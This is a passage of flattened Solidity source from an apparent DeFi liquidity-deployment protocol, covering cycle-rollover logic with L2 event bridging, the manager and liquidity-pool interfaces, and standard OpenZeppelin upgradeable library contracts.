eventSig = "Cycle Complete"; encodeAndSendData(eventSig); emit CycleRolloverComplete(block.timestamp); } function getCurrentCycle() external view override returns (uint256) { return currentCycle; } function getCycleDuration() external view override returns (uint256) { return cycleDuration; } function getCurrentCycleIndex() external view override returns (uint256) { return currentCycleIndex; } function getRolloverStatus() external view override returns (bool) { return rolloverStarted; } function setDestinations(address _fxStateSender, address _destinationOnL2) external override onlyAdmin { require(_fxStateSender != address(0), "INVALID_ADDRESS"); require(_destinationOnL2 != address(0), "INVALID_ADDRESS"); destinations.fxStateSender = IFxStateSender(_fxStateSender); destinations.destinationOnL2 = _destinationOnL2; emit DestinationsSet(_fxStateSender, _destinationOnL2); } function setEventSend(bool _eventSendSet) external override onlyAdmin { require(destinations.destinationOnL2 != address(0), "DESTINATIONS_NOT_SET"); _eventSend = _eventSendSet; emit EventSendSet(_eventSendSet); } function setupRole(bytes32 role) external override onlyAdmin { _setupRole(role, _msgSender()); } function encodeAndSendData(bytes32 _eventSig) private onEventSend { require(address(destinations.fxStateSender) != address(0), "ADDRESS_NOT_SET"); require(destinations.destinationOnL2 != address(0), "ADDRESS_NOT_SET"); bytes memory data = abi.encode(CycleRolloverEvent({ eventSig: _eventSig, cycleIndex: currentCycleIndex, timestamp: currentCycle })); destinations.fxStateSender.sendMessageToChild(destinations.destinationOnL2, data); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; /** * @title Controls the transition and execution of liquidity deployment cycles. * Accepts instructions that can move assets from the Pools to the Exchanges * and back. Can also move assets to the treasury when appropriate. */ interface IManager { // bytes can take on the form of deploying or recovering liquidity struct ControllerTransferData { bytes32 controllerId; // controller to target bytes data; // data the controller will pass } struct PoolTransferData { address pool; // pool to target uint256 amount; // amount to transfer } struct MaintenanceExecution { ControllerTransferData[] cycleSteps; } struct RolloverExecution { PoolTransferData[] poolData; ControllerTransferData[] cycleSteps; address[] poolsForWithdraw; //Pools to target for manager -> pool transfer bool complete; //Whether to mark the rollover complete string rewardsIpfsHash; } event ControllerRegistered(bytes32 id, address controller); event ControllerUnregistered(bytes32 id, address controller); event PoolRegistered(address pool); event PoolUnregistered(address pool); event CycleDurationSet(uint256 duration); event LiquidityMovedToManager(address pool, uint256 amount); event DeploymentStepExecuted(bytes32 controller, address adapaterAddress, bytes data); event LiquidityMovedToPool(address pool, uint256 amount); event CycleRolloverStarted(uint256 timestamp); event CycleRolloverComplete(uint256 timestamp); event NextCycleStartSet(uint256 nextCycleStartTime); event ManagerSwept(address[] addresses, uint256[] amounts); /// @notice Registers controller /// @param id Bytes32 id of controller /// @param controller Address of controller function registerController(bytes32 id, address controller) external; /// @notice Registers pool /// @param pool Address of pool function registerPool(address pool) external; /// @notice Unregisters controller /// @param id Bytes32 controller id function unRegisterController(bytes32 id) external; /// @notice Unregisters pool /// @param pool Address of pool function unRegisterPool(address pool) external; ///@notice Gets addresses of all pools registered ///@return Memory array of pool addresses function getPools() external view returns (address[] memory); ///@notice Gets ids of all controllers registered ///@return Memory array of Bytes32 controller ids function getControllers() external view returns (bytes32[] memory); ///@notice Allows for owner to set cycle duration ///@param duration Block durtation of cycle function setCycleDuration(uint256 duration) external; ///@notice Starts cycle rollover ///@dev Sets rolloverStarted state boolean to true function startCycleRollover() external; ///@notice Allows for controller commands to be executed midcycle ///@param params Contains data for controllers and params function executeMaintenance(MaintenanceExecution calldata params) external; ///@notice Allows for withdrawals and deposits for pools along with liq deployment ///@param params Contains various data for executing against pools and controllers function executeRollover(RolloverExecution calldata params) external; ///@notice Completes cycle rollover, publishes rewards hash to ipfs ///@param rewardsIpfsHash rewards hash uploaded to ipfs function completeRollover(string calldata rewardsIpfsHash) external; ///@notice Gets reward hash by cycle index ///@param index Cycle index to retrieve rewards hash ///@return String memory hash function cycleRewardsHashes(uint256 index) external view returns (string memory); ///@notice Gets current starting block ///@return uint256 with block number function getCurrentCycle() external view returns (uint256); ///@notice Gets current cycle index ///@return uint256 current cycle number function getCurrentCycleIndex() external view returns (uint256); ///@notice Gets current cycle duration ///@return uint256 in block of cycle duration function getCycleDuration() external view returns (uint256); ///@notice Gets cycle rollover status, true for rolling false for not ///@return Bool representing whether cycle is rolling over or not function getRolloverStatus() external view returns (bool); /// @notice Sets next cycle start time manually /// @param nextCycleStartTime uint256 that represents start of next cycle function setNextCycleStartTime(uint256 nextCycleStartTime) external; /// @notice Sweeps amanager contract for any leftover funds /// @param addresses array of addresses of pools to sweep funds into function sweep(address[] calldata addresses) external; /// @notice Setup a role using internal function _setupRole /// @param role keccak256 of the role keccak256("MY_ROLE"); function setupRole(bytes32 role) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "../interfaces/IManager.sol"; /// @title Interface for Pool /// @notice Allows users to deposit ERC-20 tokens to be deployed to market makers. /// @notice Mints 1:1 tAsset on deposit, represeting an IOU for the undelrying token that is freely transferable. /// @notice Holders of tAsset earn rewards based on duration their tokens were deployed and the demand for that asset. /// @notice Holders of tAsset can redeem for underlying asset after issuing requestWithdrawal and waiting for the next cycle. interface ILiquidityPool { struct WithdrawalInfo { uint256 minCycle; uint256 amount; } event WithdrawalRequested(address requestor, uint256 amount); event DepositsPaused(); event DepositsUnpaused(); /// @notice Transfers amount of underlying token from user to this pool and mints fToken to the msg.sender. /// @notice Depositor must have previously granted transfer approval to the pool via underlying token contract. /// @notice Liquidity deposited is deployed on the next cycle - unless a withdrawal request is submitted, in which case the liquidity will be withheld. function deposit(uint256 amount) external; /// @notice Transfers amount of underlying token from user to this pool and mints fToken to the account. /// @notice Depositor must have previously granted transfer approval to the pool via underlying token contract. /// @notice Liquidity deposited is deployed on the next cycle - unless a withdrawal request is submitted, in which case the liquidity will be withheld. function depositFor(address account, uint256 amount) external; /// @notice Requests that the manager prepare funds for withdrawal next cycle /// @notice Invoking this function when sender already has a currently pending request will overwrite that requested amount and reset the cycle timer /// @param amount Amount of fTokens requested to be redeemed function requestWithdrawal(uint256 amount) external; function approveManager(uint256 amount) external; /// @notice Sender must first invoke requestWithdrawal in a previous cycle /// @notice This function will burn the fAsset and transfers underlying asset back to sender /// @notice Will execute a partial withdrawal if either available liquidity or previously requested amount is insufficient /// @param amount Amount of fTokens to redeem, value can be in excess of available tokens, operation will be reduced to maximum permissible function withdraw(uint256 amount) external; /// @return Reference to the underlying ERC-20 contract function underlyer() external view returns (ERC20Upgradeable); /// @return Amount of liquidity that should not be deployed for market making (this liquidity will be used for completing requested withdrawals) function withheldLiquidity() external view returns (uint256); /// @notice Get withdraw requests for an account /// @param account User account to check /// @return minCycle Cycle - block number - that must be active before withdraw is allowed, amount Token amount requested function requestedWithdrawals(address account) external view returns (uint256, uint256); /// @notice Pause deposits on the pool. Withdraws still allowed function pause() external; /// @notice Unpause deposits on the pool. function unpause() external; // @notice Pause deposits only on the pool. function pauseDeposit() external; // @notice Unpause deposits only on the pool. function unpauseDeposit() external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20Upgradeable.sol"; import "../../math/SafeMathUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSetUpgradeable.sol"; import "../utils/AddressUpgradeable.sol"; import "../utils/ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet; using AddressUpgradeable for address; struct RoleData { EnumerableSetUpgradeable.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. 